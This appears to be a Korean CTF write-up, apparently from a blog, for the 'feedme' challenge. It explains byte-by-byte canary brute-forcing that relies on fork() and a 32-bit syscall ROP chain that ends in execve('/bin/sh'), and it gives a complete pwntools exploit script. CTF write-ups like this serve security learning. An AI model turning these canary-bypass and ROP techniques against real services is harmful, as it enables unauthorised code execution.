# process
1. canary leak
v3에 입력을 받는데, 0x20 바이트 뒤에 v4 변수의 canary가 있다.
따라서 v3로 return address를 덮기 전에 canary 값을 알아야 한다.
main 함수로 가보면 처음에 sub_806CC70() 함수를 호출한다.
이 함수를 보면 fork() 함수를 사용하는 것을 알 수 있다.
즉, fork()는 메모리까지 그대로 복사해주므로 부모와 자식의 canary 값이 같다.
ATE ~ 로는 16바이트만 출력해줘서 직접적인 canary leak이 불가능하지만 처음에 v3에 size만큼 값을 줄 때 canary를 덮을 수 있다.
이때 canary 값이 다르면 *** stack smashed detected *** 가 출력된다.
이것을 이용해서 canary의 한 바이트씩을 brute force attack으로 구할 수 있다.
*** stack smashed 가 출력되면 해당 바이트가 아닌거고, YUM 문장이 뜨면 해당 바이트가 맞는 것이다.
YUM으로 조건을 줘야지 정확하게 카나리가 구해진다.
이 때 조건에 해당하는 문장을 받기 전에 ATE ~ 문장이 먼저 출력되므로 p.recvline()해준 후 p.recvline()으로 조건에 해당하는 문장을 받아서 이 문장에 YUM이 있는지 판별한다.
2. x32 sysrop
Statically linked binary에 stripped 되어있어서 함수 PLT나 GOT가 없다.
따라서 bss에 “/bin/sh”를 넣어야 하는데 함수가 없으므로 sys_read를 사용하기로 했다.
1) ROP gadget 구하기
2) read(0, bss, len(binsh))
사용 방법은 sysrop에서 execve 함수에 인자를 넣는 방법과 같다.
처음에 syscall id로 syscall에서 사용하려는 함수의 id를 eax 레지스터에 인자 값으로 준다.
그리고 read 함수의 인자도 해당 레지스터에 인자 값을 주는 것으로 넣는다.
마지막으로 int 0x80 ; ret으로 syscall을 호출한다.
pop eax ; ret => 0x03 (sys_read)
pop ebx ; ret => 0
pop edx ; ret => bss ("/bin/sh" 넣을 쓸 수 있는 영역)
pop ecx ; ret => len("/bin/sh")
int 0x80 ; ret 호출
payload를 전달한 후 ATE ~ 문장을 받은 후에 "/bin/sh"를 전달해야 한다.
3) execve("/bin/sh", NULL, NULL)
pop eax ; ret => 0x0b (sys_execve)
pop ebx ; ret => bss
pop edx ; ret => 0
pop ecx ; ret => 0
int 0x80 ; ret 호출
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./feedme")
canary = "\x00"
for j in range(1, 4):
for i in range(0x00, 0xFF+1):
p.sendafter("FEED ME!\n", p8(0x21 + j))
p.send('A'*0x20+ canary + p8(i))
p.recvline()
r = p.recvline()
if "YUM, " in r:
print p8(i)
canary += p8(i)
break
else:
continue
int_0x80 = 0x806fa20
pop_eax = 0x80bb496
pop_edx_ecx_ebx = 0x0806f370
binsh = "/bin/sh"
read = 0x806d870
bss = 0x080eb58a
pay = 'A'*0x20 + canary + 'B'*0xc
pay += p32(pop_eax) + p32(0x03)
pay += p32(pop_edx_ecx_ebx) + p32(len(binsh)) + p32(bss) + p32(0)
pay += p32(int_0x80)
pay += p32(pop_eax) + p32(0x0b)
pay += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss)
pay += p32(int_0x80)
p.sendafter("FEED ME!\n", p8(len(pay)))
p.send(pay)
p.sendafter("...\n", binsh)
p.interactive()
# exploit
[ROP Emporium] split (32bit, 64bit) (0) | 2020.03.25 |
---|---|
[ROP Emporium] ret2win (32bit, 64bit) (0) | 2020.03.25 |
[HITCON CTF 2017] start (0) | 2020.02.28 |
[DEFCON CTF prequals 2019] speedrun-009 (0) | 2020.02.28 |
[33c3 CTF] babyfengshui (Heap Feng Shui) (0) | 2020.02.28 |